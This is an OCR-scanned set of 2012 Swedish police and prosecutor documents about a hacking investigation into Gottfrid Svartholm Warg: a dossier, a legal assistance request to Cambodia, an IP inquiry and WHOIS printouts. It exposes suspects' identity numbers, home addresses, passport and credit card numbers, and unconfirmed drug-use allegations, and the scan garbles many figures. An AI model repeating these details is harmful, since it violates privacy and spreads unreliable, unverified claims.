Family name: SV ARTHOLM W ARG 
Forename : Per Gottfrid 
Sex: Male 
Date of birth: 1 71 1 0/ 1 984 
Nationality: Sweden 

Passport 
Passport number: 23 8 1 0667 
Date of issue: 28/0 l /2003 
Place of issue: Stockholm, Sweden 
Expiry date : 28/0 1 120 1 3  

Description (dated 26/05/201 1) 
Height: l 7 5 cm 
Eye colour: Blue 
Skin colour: Fair skinned 
Hair colour: Medium blonde 

Links to Cambodia 

PM 

Date 

1 2  July 20 1 2  

Our reference 

020 1 -K8 1 864- 1 2  

NLO Bangkok 
Cambodian Police 

In September 20 l O the trials conceming The Pirate Bay started in the Svea 
Court of Appealing. Gottfrid Svartholm W arg was not present and it was told 
that he was in Phnom Penh, Cambodia. He posted a medical certificate, writ
ten in Khmer, to his attomey stating that he suffered from some kind of illness .  

According to an artide 2009 on the blog of the travel writer Adam Bray, Svar
thalm W arg had liv ed for a time in an apartment on to p of the Cadillac Bar & 

Grill in Phnom Penh. 

This artide also said that Svartholm W arg was the owner of the company Es
toy Ltd. Seychelles IBC in Phnom Penh. When he registered the company' s 
website he stated the phone number +855  929 607 72 (Cambodian number) . 

In chat logs from the IRC network Svartholm W arg posted in 2009 and 20 1 0  
that h e was operating from Cambodia. F or instance h e wrote that h e uses the 
border erossing at Poipet from Thailand to Cambodia. 
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Driving license 
In the seizure from the current investigation a pi c ture of Gottfrid Svartholm 
Warg 's  Cambodian driving license was found. The picture is attached to this 
document. 
Card code: A l .000034 
Issue date : 2 1 /0 1 12009 
Address of Svartholm W arg: 4 St. l 04 W at Phnom, Daun Penh 

lP information 
In chat logs from the investigation Svartholm W arg has been logged on from 
IP-numbers pointing to Cambodia. These IP-numbers with timestamps are : 

1 24.248 . 1 74. 1 6 1  
1 24.248 . 1 67 . 1 9 1  
1 24.248 .  1 87 . 1 50 
1 24.248 . 1 87 .22 

unknown time Cogetel Online 
25/03/20 1 2  20: 1 5  (UTC O) Cogetel Online 
1 0/03/20 1 2  1 2 :42 (UTC O) Cogetel Online 
04/03/20 1 2  1 6 : 1 1  (UTC O) Cogetel Online 

Other IP-numbers pointing to Cambodia in the investigation are : 

203 . 1 76 . 1 4 1 .205 
27. 1 09 . 1 1 8 .33  

1 0/03/20 1 2  0 1 : 00 (UTC O) Mekongnet 
1 0/03/20 1 2  1 9 :30 (UTC O) DTV Stamet 

Credit card nomber 
A credit card number with the name Gottfrid Svartholm was found in the in
vestigation. 
Number: 4 1 1 1  34 1 8  0000 294 7 
Expiry date : 1 21 1 0  
Name: Gottfrid Svartholm 
Issuing bank: Acleda Bank PLC, Cambodia 

Intelligence information 
The information about Svartholm W arg that follows is to be seen as uneon
tirmed intelligence information: 

he is a drug addict and a frequent user of marijuana and crystal meth 
he is in very bad shape and may have spent time in hospital recently 
he has earlier or recent rented a house in Cambodia from an unknown 
American citizen 
he may have contact with one or more Swedish hacktivist in Cambodia 
he (and his network) may have access to at least one Internet Service 
Provider (ISP) in Cambodia. That ISP is Cogetel. 
he (and his network) may have access to the mail account of the Mayor 
of Phnom Penh 

Richard Ahlgren 
National Bureau of Investigation 
Cyber Crime Unit 

Tel: +46 708 4 1  40 87 
richard. ahlgren@polisen. se 

Christer Kågström 
National Bureau of Investigation 
Cyber Crime Unit 

+46 705 90 83 29 
christer.kagstrom@polisen. se 
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Cover Note fo r Rogatory Letters - Req uest for M utual  Legal  
Ass istance-E U 

Joint Action of 29 J une 1 998 adopted by the Council on the basis of Article K. 3  of the Trea ty on European Union, on good 
practice in mutual legal assistance in criminal matters. (Official Journal L 191 ,  0710711998 p. 0001 - 0003) 

REQUEST (To be filled in by requesting authority) 

Case number: AM-52 1 24- 1 2  Name( s) of suspect(s): Gottfrid Svartholm Warg , 841 0 1 7-0537 
Mathias G ustafsson ,  76 1 1 1 7-7234 
Kristoffer Smedlund , 800323-4674 

Document ID: 

A uthority who can be contacted regarding the request: 
Organization: Swedish Prosecution Place: Stockholm 

Authority, 
Country: Sweden 

I nternational Publ ic 
Prosecution Office 
stockhol  m 

Name: Henri k  O l in  Function: Senior  Publ ic  
Prosecutor 

Spaken Language: EN 

Telephone number: +46 72 232 69 26 Fax number: + 46 1 O 562 54 83 E-mail: henrik .o l in@a 

Deadline: As soon as 
possible 

This request is  urgent : Yes Please execute this request before 
(date): 

klagare.se 

As soon as 
possible 

Reasons for deadline: The case is  of Swedish national interest d u  e to the very extensive character of 
the i ntrusion.  The prel i m i na ry i nvestigat ion i nvolves severa l Swedish  authorities such as the Swedish 
P rosecution Authority, the National  B u reau of l nves · atioo ol ic ) ,  the Stockholm Regional  
l nvestigation Un it (Pol ice) and the Swedish  Securi  Se (S urity Pol ice) . 

Date: J u ly 25, 201 2 Signature: 

ACKNOWLEDGEMENT OF REQUEST (To be filled in by the requested authority) 

Regisfratian number: Date: 

Authority receiving the request 

Organzsation: 

Name: 

Place: Country: 

Function: ·-----· .. ·--·------- Spaken Language : 

Telephone number: Fax number: E-mail: 

Authority who can be consulted on the execution of the request: D Same as above D Other, name/y: 

Organization: Place: Country: 

Name: 

Telephone number: 

Function: Spaken Language : 

Fax number: E-mail: 

56 
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Date: ---------··--··--------- Signature: 

Please campfete this form and fax it to Fax Number: 

+ 46 1 o 562 54 83 
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�t - C- ,) -A KLAGARM Y N D I G  H ETE N  

REQUEST FOR M UTUAL LEGAL ASSISTANCE IN C RIMINAL MATTERS 

Req uested authority :  

To the a uthority cancerned in the Kingdom of Gambadia 

via Ministry of Justicel Division for Criminal Gases and International Judicial Go
operation, 1 03 33 Stockholm, Sweden (JuBC 

1 .  Req uesting Prosecutor: 

Sen ior  Publ ic  Prosecutor Henrik  O l i n ,  I nternationa l  Pub l ic  Prosecution Office 
stockho l  m 

Telephone n r : +46 72 232 69 26 

Fax n r: + 46 1 0  562 54 83 

E-ma i l  address:  henrik . o l i n @aklagare . se 

Our  Ref: AM-52 1 24- 1 2  

2.  C riminal i nvestigation is conducted against fol lowing suspects : 

Svartho lm Warg , Per G ottfrid 
1 984 1 0 1 7-0537 
No known add ress in Swede n .  Most I i ke iy res ident in Cam bod ia  

G ustafsson,  Bror  O l of Math ias 
1 976 1 1 1 7-7234 
Ti m m e rm a nsvägen 1 4 1 
77 1 5 1  L U DVI KA 
SWE D E N  

S m ed l u n d ,  J o h a n  Kristoffer Robin 
1 9800323-467 4 
Val l a  Torg 5 1  
1 20 5 6  ARSTA 
SWE D E N  

3.  U rgency:  

The case i s  of  Swedish n at iona l  i nterest due to the very extensive character of 
the i ntrus io n .  The pre l i m i n a ry i nvestig at ion invalves several Swedish  autho rit ies 
such as the Swedish P rosecution Autho rity, the N ati o n a l  B u reau of l nvest igat io n  
(Po l i ce) , t h e  Stockh o l m  Reg iona l l nvestigati o n  U n it (Po l ice) and t h e  Swed ish 
Security Service (Security Po l ice) . 
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The cri m ina l  offence be i ng i nvestigated is a very serious case of breach of data 
secrecy accord ing to the Swedish Penal  Code Chapter 4, Section 9c. {The lega l 
provis ion  translated i nto E ngl ish  is attached to th is  Ragatory Letter . )  

Mr.  Gottfrid Svartholm Warg , M r. Math ias Gustafsson and Mr.  Kristoffer 
Smed l u n d  are suspected for a breach of data secrecy tagether with others ,  o n  
numero us occasions du  ring the period January 1 20 1 O t o  Apri l  1 5 , 20 1 2 . 

5. statement of the facts: 

1 59 

l ntrus ions have been made against ,  i nter a l ia ,  a ma inframe com puter operated by a private 
company ,  h osti ng  !arge amounts of personal  data/census data from the Swedish Tax Agency, 
inc lud ing protected persona l  d ata , as wei l  as d ata of a financi a l  nature. Large amounts of data from 
the Enforcement Authority and the Pol ice have been accessed as wei l .  Data have not on ly  been 
accessed , but also extensivs ly  copied . 

The accessed data may cause considerable damage to authorities , cam pan ies and i nd ividua ls .  
The i ntrus ion hand led by the on-going crim ina l  i nvestigation is probably the m ost seri ous suffe red 
by Swed ish !T-systems l i n ked to pub l ic  authorit ies.  

There is  strong evidence agai nst especia l ly  the suspects rega rd ing their part icipation in the crime,  
both i n  com puters se ized , as wei l  as o n  externa !  storage a reas used by the suspects and i n  seized 
chat logs .  There are very strong ind ications identify ing Mr. Svartho lm Warg as the pri ncipal 
organ ize r - the m asterm ind - of the crim ina l  i ntrus ions .  

Both M r. Gustavsson and M r. Smedlund have been detained d u  ring part of  the pre l im i nary 
investig ation .  

The ana lysis of  the  i ntruded m a inframe com puter m a kes it evident that an  I P-numbe r  connected to 
Gambodian I nternet Service Providers/ Hosting Services have been used for part of the crim ina l  
i ntrus ions ,  inc lud ing  extensive copying of  sensitive d ata from the m a i nframe com puter. 

An i n q u i ry for preservation h ave been made from the Swedish N ationa l  Bureau of l n vestigat ion/ 
Cyber Cr ime U n it ,  p lease see attached documents . 

The I P-n u m ber re leva nt i n  the i nvest igat ion is :  

I P-Number I nternet Service Responsible Timestamp 
Provider/hosting company/Adm i n istrator 
services 

203. 1 76 . 1 4 1 . 205 M e  kong net Ankor Data 20 1 2-03- 1 0 
C o m m u n icat ion C o ,  Ltd . 0 1  : 00-07 : 0 1  
1 st F loor,  S u it 1 1 1 , B lock 09: 34- 1 2- 1 5 
A ,  P h nom Pen h Center, 1 2 : 39- 1 5 : 04 { UTC O) 
C h a m kamon District ,  
P h n o m  Penh 

2 7 . 1 09 . 1 1 8 .33  DTV-Star co Ltd DTV-Sta r co Ltd 20 1 2-03- 1 0 
#36 8 , St 1 68 ,  Olympic 1 9 : 30- 1 9 : 3 1  (UTC O) 
q uarter, Phnom Pen h 

1 24 . 248 . 1 87 . 1 50 Cog itel Cog itel Ltd . 2 0 1 2-03- 1 o 
#60 Mon ivong 1 2 : 42 (UTC O) 
B o u levard , Phnom Penh 

1 24 . 248 . 1 87 . 22 Cog ite l Cog itel Ltd . 20 1 2-03-04 
#60 Mon ivong 1 7 : 1 1 : 42 (European 
B o ulevard , Phnom Penh Time Sweden ,  UTC 

+ 1 ) 
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6. Req uested activities : 

Search & Seizure 

Search for and seizu re of com puters ,  te lephones,  hard drives , US B-memories , or  oth er  tech n ica l  
devices ca pable of co nta in ing  stored informati o n  l i n ked to M r. Svartho l m  Warg o n  h is person o r  in  
h is residence and other p rem ises at h is d isposal  i n  Cambodia .  

1 60 

For the m oment,  the exa et l ocat ion of Mr.  Svartho lm Wargs residence i n  Cam bodia i s  not known . A 
request for assistance locat ing Mr .  Sva rho lm Warg from the Swedish Pol ice to G a m b odian Pol ice ,  
v i a  t h e  Swed ish L ia ison Officer  i n  Ba ngkok, h ave been sent. T h e  req uest for search a n d  seizu re i s  
t h u s  requested i n  M r .  Svartho lm Wargs res idence,  when i t  is known . 

IP-numbers 

The req uest for Mutual  Leg a l  Ass istance does also i nclude i nformati o n  regard ing  the I P-num ber 
l i n ked to the I nternet Service Provider/ H osti n g  Service Com panies,  please see the attached 
documents mentioned above . 

My req uest inc ludes:  

A.  S u bseri ber i nform ati o n ,  such as address , phone,  bank acco u nt for b i l l ing ,  what type of 
service the su bseriber is paying for, the d u ratio n  of the contra et etc. 

B .  I nformation stored by/owned b y  the su bseri ber on t h e  compan ies' servers (if a ppl icab le) .  
C .  S u bseri ber i nformatio n  and/o r  i nform atio n  stored by/ owned by M r. Svartho lm Warg , Mr .  

G ustafsson and/or M r. Smedlund o n  the m e nt ioned i nternet service providert h osti ng 
service reg ard l ess of lP N u m ber ! i nks .  

6a) Specification of requested activities : 

Search & Seizure 

lt is very i m  portant that com puters , te lephones o r  other techn ical devices be i n g  
seized a re n ot turned off. T h i s  can serious ly  decrease t h e  poss ib i l it ies to find 
re levant stored i nformatio n .  Furthermore ,  the suspected M r. Svartho lm Warg , or  
any othe r  person ,  s h o u ld n ot h ave the poss ib i l ity to affect ongo ing processes i n  
t h e  tech n ical devices se ized . 

IP-numbers 

If re levant d ata is enco untered ,  it is i m portant to u nderl ine th at it is the data 
store d  (content) in q uestion that is  of i nterest to us. Thus,  there is no need to 
perm a ne ntly seize the a ctu a l  (phys ica l)  server h osting  the data.  

P lease d ownload the re levant d ata i n  the way m ost conven ient to you ( U S B ,  
d i s c  etc . ) .  

6b)  L ink  between the  facts and the  requested activities : 

P lease see sectio n  5 .  a bove. 

Ge) The activities requested are to be executed as fol lows : 
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Officer in  Bang kok. 

Seized tech n ica l  devices shou ld be hand ed over to Swedish Pol ice Officers as 
soon as poss ib le ,  preferably on locatio n .  

7)  l nvolved Swedish i nvestigators/others and thei r  presence: 

Swedish Pol ice Officers as wei l  as - poss ib ly - the responsible Swed ish 
prosecutor shou l d ,  if it is poss ib le from your  perspective , be present i n  Cam bodia 
for the conduct ion of the req uested search and seizu re .  Swedish offic ia ls present 
wi l l  of course fo l l ow your d i rectives when part icipati ng in your  authorities 
operat ions on G a m bodian territory .  We wo u l d appreciate if the p lann ing of th is  is 
thoro ug h ly coord i nated with the Liaison Officer in Bang kok. 

8) The req uest is confidential for the fol lowing  reasons:  

The Swedi s h  investigation is  hand led with  extens ive confident ia l ity, due to the 
poss ib le se ve re i m  p act on state Adm i n istrat ion if the accessed data is  u sed i n  a 
harmfu l way. 

There is  an  u rgent need for confident ia l ity in  the case,  thus l wou ld  be m ost 
g ratefu l if the execution of the M utual  Lega l  Assista nce as wei l  as the reported 
res u lt sent to Sweden ca n be kept confident ia l  i n  Cam bod ia accord ing  to your  
legis lation .  

9. Other involved persons/authorities : 

- Lia ison Officer M r. Lennart Östberg , Nord ie  L ia ison Officer Thai land , Phone :  +66 2 665 2278,  

Mobi le :  +668 1 8  4 1 8  003,  Fax: +66 22 560 096 , E-mai l :  n lobangkok@nord lo . i n . th  

- EUROJUS T: Mr.  Leif Görts , Swedish Nationa l  M e m be r, PO Box 1 6 1 83 ,  N L-2500 BD,  The 

Hague ,  The N etherlands ,  + 3 1 704 1 25243 

- INTERPOL: I nterpol Wiesbaden has been contacted by Swed ish Pol ice .  

- MLA :s have been sent to U S ,  U K  a n d  Germ a n y  as wei l  

An nexes : 

[81 Legisiation 

[B Other 
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l - THE U N DERS I G N E D - AM COM PETENT TO AUTH ORIZE THE EQU IVALENT 
M EAS U R E/S IN SWE D E N .  

Stockho l m  J u ly 25 ,  20 1 2  

{{ 
Henrik Ol in  
Sen ior  Publ ic Prosecutor 

cc: I nternationa l  Pol ice Cooperation Div is ion ( I PO) 
Box 1 2256 
1 02 26 STOC KHOLM 
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The Swedish Penal Code ( 1 962 :700) 

Chapter 4, Section 9c 

A person who, in cases other than those defined in Sections 8 and 9, unlawfully obtains access 
to data intended for automatic data processing or unlawfully alters or erases or blocks or 
inserts such data in a register, shall be sentenced for breach of data security to a fine or 
imprisonrnent for at most two years . The same applies to any person who unlawfully and 
through another similar measure seriously disturbs or impedes utilization of such data. 

Act (2007 :2 1 3) .  
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National Bureau of In vestiga tio n 
Cyber Crime Unit 

INQUIRY 

The request is for the following : 

Datum 
20 1 2-05-29 

Diarienr 1 64 
020 1 -K8 1 864- 12  

In the context of  a Swedish on-going investigation concerning a serious computer intrusion, there have been 
unauthorized access from IP nurnbers from Cambodia. The leader of the investigation requests your hel p 
regarding preservatians and information regarding the IP nurnbers . 

lp number 
203 . 1 76 . 1 4 1 .205 

27. 1 09 . 1 1 8 . 33  
1 24.248 . 1 87 . 1 50 
1 24.248 . 1 87 .22 

D ate 
20 1 2-03 - 1 0  

20 1 2-03 - 1 0  
20 1 2-03 - 1 0 
20 1 2-03 -04 

Time (UTC O) 
0 1 : 00 - 07 : 0 1  
09 :34- 1 2 : 1 5  
1 2 : 39- 1 5 :04 
1 9 :3 0- 1 9 : 3 1 
1 2 :42 
1 7 : 1 1 :42 (European time Sweden) 

ISP : 
Mekongnet: 

DTV -Star C o Ltd 
Cogitel 
Cogitel 

Pleas e preserve all data until a signed search warrant from the prosecutor can follow by email. 

If there are an y problems with supplying aforementioned data or questions regarding the case 
Please contact Christer Kågström as soon as possible . 

Yours sincerly, 

Christer Kågström 
Detective Inspector 

+46 705 90 83 29 
christer.kagstrom@rkp.police . se 
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2 . Tb.141-:-2U51Pf\Qdress WHOIS omainTools .com http:!/whois .domaintools .com/203 . 1 76 . 1 4 1 .2051 65 

l av l 

� DomainTools 

lP Information for 203.1 76. 141 .205 

I P  Location: Il Cambodia Phnom Penh Mekon g n et Internet Service Provider 

ASN : AS 3 8 2 3 5  

lP Address: 20 3 . 1 7 6 . 141 . 2 0 5  � � [EJ @J i] 
inetnum : 

netname : 
descr : 

des c r :  

c ountry : 

admin- c : 
tech-c : 

remarks : 

c hanged : 

status : 

mnt -by : 

mnt- lowe r :  

changed : 

changed : 

s ourc e : 

changed : 

person : 

nie-hd! : 

e-ma i l : 

actdre s s : 

Sothearo s , 
phone : 

fax-no : 

country : 

changed : 

mnt -by : 

sourc e :  

2 0 3 . 1 7 6 . 1 2 8 . 0 - 2 0 3 . 1 7 6 . 1 4 3 . 2 5 5  

ME KONGNET 

MEKONGNET INTERNET SERVICE PROVIDER 

MEKONGNET INTERNET EXCHANGE PROVIDER ( PLANNING ) • 
KH 

TP 1 9 6 -AP 

TP 1 9 6 -AP 

MEKONGNET " ANGKOR DATA COMMUN I CATION CO , . LTD . " 

hm-changed@apnic .net 2 0 0 6 0 9 2  7 
ALLDCATED PORTABLE 
APNIC -HM 

MAINT-KH-MEKONGNET 

hm-changed@apmc.net 2 0 0 8 0 3 2 8  

hm-changed@apnic .net 2 0 0 9 0 2 1 3  

APNIC 

hm-changed@apnic .net 2 o 1 2  o 12 o 

Thong Phan Van 

TP 1 9 6 -AP 

noc@corp.mekongnetcom.kh 

1 s t  Floar , Suit 1 1 1 ,  Block A, Phnorn Penh Center , earner S ihanouk Blvd 

Tonlebasac ward , Charokamon District , Phnom Penh , Cambodia 
+ 8 5 5  2 3  2 2  66 2 2  
+ 8 5 5  2 3  2 2 4  5 0 0  
KH 

th ongpv@corp.mBkongnetcom.kh 2 0 0 9 0 2 1 2  

MAINT-NEW 

APN I C  

2 0 3 . 1 7 6 . 1 4 1 . 2 0 5  W h o i s  Search 

Memberships l Developer AP t About Us l � l Desktop Tools l Terms of Service l Privacy l Support l Careers Centact Us l Site Map 

© 2012 DomainTools, LLC All rights reserved. 

Search 

20 1 2-07- 1 2  1 3 :47 



� DomainTools 

lP Information for 27. 1 09. 1 1 8.33 

lP Location:  Il C a m b o d i a  P h n o m  Pen h  Ip Pool F o r  S ubseriber 

ASN : AS45429 

IP Address: 2 7 . 1 09 . 1 1 8 . 3 3  i� [E [E: � L 
NetRange : 

CIDR : 

Dri ginAS : 

NetName : 

NetHand l e : 

Parent : 

NetType : 

2 7 . 0 . 0 . 0 - 2 7 . 2 5 5 . 2 5 5 . 2 5 5  

2 7  . 0 . 0 . 0 / 8  

APN I C - 2 7  

NET-2 7 - 0 - 0 - 0 - 1  

Allocated t o  APN I C  
Comme n t :  This I P  actdr e s s  rang e i s  not registered in the ARIN databas e .  
Comment : For detail s ,  re f e r  to the APNI C  Who i s  Databas e via 
Comment : WHO I S  . APNIC . NET or http : l /wq . apnic . net/ apnic-bin/whois . p l 
Comment : ** IMPORTANT NOTE : APN I C  is the Regional I nternet Registry 
Cornment : for the Asia Pacific regio n .  APN I C  does not operate networks 
Comment : us ing this IP actdre s s  range and is not able to inve s t i gate 
Comme n t :  spam o r  a b  u s e  reports relating t o  t h e s e  addres s e s . For m o  r e  

Comrnent : help , refer to 

http : l lwww . ap nie . netl apnic - info lwhois_s earch2 1 abuse-and-s pamming 
Regna te : 

Updat e d ' 2 0 1 0 - 0 7 - 3 0  
Re f : http : l /who i s . ar in . net / re s t l net/NET- 2 7  - 0 - 0 - 0 - 1  

OrgName : 

Orgi d :  

Actdres s :  
City : 

Stat e P r o v :  
PostalCode : 

c ountry : 

RegDate : 

Updat ed : 
Re f :  

A s i a  Pac i f ic Network I n f o rmation Centre 

APN I C  

P O  Box 3 6 4 6  
south Brisbane 
QLD 

4 1 0 1  

AU 

2 0 1 2 - 0 1 - 2 4  
http : l l who i s . a r  i n .  net / re s t / o r g /APN I C  

Re f erralServer : who i s : l l who is . apnic . n e t  

OrgTechHandle : AWC 1 2 -ARIN 

OrgTechNarne : AP N I C  Who is Centact 

OrgTec hPhone : + 6 1  7 3 8 5 8  3 1 8 8  

orgTechEma i l : search-apnit-not-arin@apnic.net 
OrgTechRef : http : l /who i s . ar in . net l r e s t / poc /AWC 1 2 -ARIN 

OrgAbu s eHandl e :  AWC 1 2 -ARIN 
OrgAbu s e Naroe : APN I C  Who i s  Centact 

OrgAbu s ePhone : + 6 1  7 3 8 5 8  3 1 8 8  

OrgAbus eErnai l :  search-apnic-not-arin@apnic . net 
OrgAbu s eRe f : http : l /whois . ar in . net l r e s t / po c / AWC 1 2 -ARIN 

"" =  Additional I n f o rmat i o n  From whois : J /who is . apnic . net 

inetnum : 

netname : 

d e s c r : 

)untry :  

lrnin - c : 

t e c h - c : 

s t atus : 

remarks : 

not i fy : 

mnt-by : 

mnt - l owe r : 

mnt - ro u t e s : 
mnt -irt : 

changed : 

sourc e :  

person : 

add r es s :  

addre s s : 

country : 

phone : 
fax-no : 

e-ma i l : 

nic - h d l :  
mnt-by : 

2 7 . 1 0 9 . 1 1 8 . 0 - 2 7 . 1 0 9 . 1 1 8 . 2 5 5  
DTV - STARNET 

ip p o o l  for s ubseriber 
KH 

C C 2 0 9 1 -AP 

C C 2 0 9 1 -AP 

AS S I GNED NON-PORTABLE 

c h a m ro e u n  c@d i g i . c om.kh 

chamro e u n . c @d i g i . c o m . kh 

MAINT-KH-DTVSTAR 

MAI NT-KH-DTVSTAR 

MAINT-KH- DTVSTAR 

IRT-DTV - STAR-KH 

c h a m ro e u n . c@di g i . c o m .kh 2 0 1 1 0 2 2 2  

APN I C  

C h e a  Chamroeun 

# 3 6 8 ,  S t  1 6 8 ,  O lymp i c  quarter , Phnom Penh 

#3 6 8 , S t  1 6 8 , O lymp i c  quarter , Phnom Penh 
KH 

+ 8 5 5 9 8 8 0 0 9 0 4  

+ 8 5 5 2 3 2 2 7 7 6 6  

c h a m ro e u n . c@d i g i . c o m . kh 

CC2 0 9 1 -AP 

MAINT-KH-DTVSTAR 

http: /  /who is .domaintools .com/27 . l  09 . 1 1 8 .3 3 

Open a FREE Account l � l � 

2 7 . 1 0 9 . 1 1 8 . 3 3  Whois Sea�ch _ Search 

2.-01 

20 1 2-07 - 1 2  1 3 :48 



l av 2 

diarienr :  020 1 -K8 1 864-1 2 http:l/whms .domamtools .com/ l24.2 

� DomainTools 

lP Information for 1 24.248.1 87. 1 50 

I P  Locatio n :  1!1 Cambodia P h n o m  Penh Cagetel O n l i n e  

ASN : AS23673 

lP Add ress: 124.248 . 187 . 150 E b (E � .I] 
inetnum : 

netname : 
des e r :  

descr : 

des e r :  

country : 

admin - c : 

tech-c : 
status : 

remarks : 

remarks : 

remarks : 

remarks : 

remarks : 

remarks : 

mnt-by : 

mnt - l owe r :  

ront -rout e s : 

changed : 

s ourc e : 

route : 

des er : 
orig i n : 

mnt-by : 

changed : 

sourc e : 

r o  l e : 

addre s s : 

actdre s s : 

actdres s :  

c ountry : 

phone : 

f ax-no : 

e -mai l :  

admin-c : 

tech-c : 

nic-hdl : 

remarks : 

notify : 

mnt-by : 

mnt-by : 

changed : 

s o urce : 

ro l e : 

actdre s s : 

actdre s s : 

actdres s :  

c ountry : 

phone : 

fax-no : 

e -mail : 

admin- c : 

tech-c : 

nic -hdl : 

remarks : 

notify : 

mnt-by : 

mnt-by : 

changed : 

s ource : 

1 2 4 . 2 4 8 . 1 6 0 . 0 - 1 2 4 . 2 4 8 . 1 9 1 . 2 5 5  

Cagetel 
Cagetel Onl ine 

I nternet Service P revider , 

Cambodia 
KH 

C L 9 6 5 -AP 

CONl -AP 

ALLDCATED PORTABLE 

-+-+-+-+-+-+-+ -+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
This obj ect can only be updated by APN I C  hastmasters . 

To update this o b j e c t , p l e a s e  centact APNIC 
hastmasters and inc lude your organisation ' s account 

name in the sub j e c t  lin e .  

-+-+-+-+-+-+-+-+-+-+-+-++-+ -+-+-+-+-+-+-+-+-+-+-+-+-+ 
APNI C - HM 
MAINT-KH-BPC 

MAINT-KH-BPC 

hm-changed!Ciapmc.net 2 o o 1 1 1 1 2  

APN I C  

1 2 4 . 2 4 8 . 1 6 0 . 0 / 1 9  
ONLINE 

A$ 2 3 6 7 3  

MAINT-KH-BPC 

borakban@azcom.neti<!1 2 o o 9 0 1 0 7  

APNIC 

Cagetel Limit ed 

# 6  O Mani vang Boulevard 

Phnom Penh 
Cambodia 
KH 

+ 8 5 5 - 2 3 - 7 2 7 2 7 2  

+ 8 5 5 - 2 3 - 7 2 5 5 5 5  

hostmaster@online . com.kh 
B B 1 9 5 -AP 

B B 1 9 5 -AP 

CL9 6 5 -AP 

http : l /www . online . com . kh 

hostmaster@online com.kh 

MAINT-KH-BPC MAINT-KH-BPC 
network@azcom.net.kh 2 0 1 2 0 6 0 6  

APN I C  

Cagetel Online NOC 

#6 O Mani von g Boulevard 

Phnom Penh 
Cambodia 

KH 

+ 8 5 5 - 2 3 - 7 2 7 2 7 2  

+ 8 5 5 - 2 3 - 7 2 5 5 5 5  

hostmaster@on ! ine . com.kh 

BB1 9 5 -AP 
BB 1 9 5 -AP 

CON l -AP 

http ; l /www . on l ine . c om. kh 

hostmastereon l i ne . com .kh 

MAINT-KH-BPC 
MAINT-KH-BPC 

networl<@azcom . net.kh 2 0 1 2 0 6 0 6  

APN I C  

1 2 4 . 2 48 . 1 87 . 1 5 0  Who is  5earch 

Membersh ips l Developer AP l l About U s l §.!gg l Desktop Tools l Terms of Service l Privacy l � 1 � l � ! � 
© 201 2 OomainTools, LLC All rights reserved 
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Rättshjä lp  Kambodja , 20 1 3-03-27 1 3 :50 d iar ienr:  020 1 -K8 1 864-1 2 
�2TIPAdCfress WH ttp: whOls .domaintools .com/ 1 24 .248 . 1 87 .221 68 

l av 2 

� DomainTools 

lP Information for 1 24.248 . 1 87.22 

IP Location: Il Cambodia Phnom Penh Cagetel O n l i n e  

ASN : A523673 

IP Address: 124.248 . 187 .22 �� r_;;: [� @J i: 
inetnum : 

netname : 
des c r :  

des c r :  

des c r :  

country : 

admin-c : 

tech-c : 

status : 

remarks : 

remarks : 

remarks : 

remarks : 

remarks : 

remark s : 

rnnt-by : 

mnt - l owe r :  

ront -rout e s : 

changed : 

sourc e : 

route : 

de s e r : 

orig in : 

mnt -by : 

changed : 

source : 

ro l e : 

actdre s s : 

actdre s s : 

actdre s s : 

country : 

phone : 

fax-no : 

e -mai l :  

admin- c :  

tech-c : 

nic-hdl : 

remarks : 

not i f y : 

mnt -by : 

mnt -by : 

changed : 

sourc e : 

ro l e : 
actdre s s : 

actdre s s : 
actdre s s : 

country : 
phone : 

fax-no : 

e-mai l : 

admin-c : 

tech-c : 

nic-hdl : 

remark s : 

not i fy : 

mnt-by : 

mnt-by : 

changed : 

sourc e : 

1 2 4 . 2 4 8 . 1 6 0 . 0 - 1 2 4 . 2 4 8 . 1 9 1 . 2 5 5  

Cagetel 
Cagetel Onl ine 

I nternet Service Provider , 
Cambodia 

KH 

CL 9 6 5 -AP 

CONl -AP 

ALLDCATED PORTABLE 

-+-+-+-+-+-+ -+-+-+-+-+-++ - + - + - + - + - + - + - + - + - + - + - + - + - + - +  

This o b j e c t  can only be updated by APN I C  hastmasters . 

To update this o b j e c t , p l e a s e  centact APNIC 

hastmasters and include your organis ation ' s account 

name i n  the s u b j ect l i n  e .  

-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 

APN I C - HM 
MAINT -KH-BPC 

MAINT-KH-BPC 

hm-changedSapnic.net 2 0 0 1 1 1 1 2  

APN I C  

1 2 4 . 2 4 8 . 1 6 0 . 0 / 1 9  

ONLINE 
AS 2 3 6 7 3  

MAIN T - KH-BPC 

borak.ban@azcom.netkh 2 0 0 9 0 7 0 7  

APN I C  

Cagetel Limi t e  d 

#6 O Mo ni von g Boul evard 

Phnom Penh 

earnbcdia 
KH 

+ 8 5 5 - 2 3 - 7 2 7 2 7 2  

+ 8 5 5 - 2 3 - 7 2 5 5 5 5  

hostmaster@onl ine.com.kh 

BB 1 9 5 -AP 

BB 1 9 5 -AP 

CL 9 6 5 -AP 

http : / /www . on line . com . kh 

hostmaster@o n l ine .com.kh 

MAINT-KH-BPC 
MAINT-KH-BPC 

n etwork@azcom.net kh 2 0 1 2 0 6 0 6  

APN I C  

Cogetel Onl ine NOC 

#6 O Mo ni von g Boulevard 

Phnom Penh 
Cambodia 

KH 

+ 8 5 5 - 2 3 - 7 2 7 2 7 2  

+ 8 5 5 - 2 3 - 7 2 5 5 5 5  

h o stm aster@o n l m e . c o m . kh 

BB 1 9 5 -AP 
BB 1 9 5 -AP 

CONl -AP 

http : / /www . online . com . kh 

h o stmaster@o n l i n e . c o m .kh 

MAINT-KH-BPC 
MAINT-KH-BPC 

n etwork,Sazc o m . n e!.Kh 2 0 1 2 0 6 0 6  

APNI C  

1 2 4 . 2 48 . 1 8 7 . 2 2  Wh o i s  Search 
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Request for assistance Cambodia 1 20709 , 201 3-03- 1 8 1 5 :57 d iarienr: 020 1 -K8 1 864- 1 2  

Polisen 
National  Bureau of lnvestigation 
Cyber Crime Unit 
Richard Ahlgren 

Dear colleagues, 

Request for assistance 

Date 

1 2  July 20 1 2  

Our reference 

020 1 -K8 1 864- 1 2  

NLO Bangkok 
Cambodian Police 

The Swedish National Bureau of lnvestigation is currently involved in a Cyber 
Crime investigation conceming a serious computer intrusion. In this 
investigation we request assistance from the Cambodian Police. 

Preamble 
The criminal offence being investigated is a very serious case of breach of data 
secrecy according to the Swedish Penal Code Chapter 4, Section 9c. The case is 
of Swedish national interest due to the very extensive character of the intrusion. 
The preliminary investigation is handled by several Swedish authorities such as 
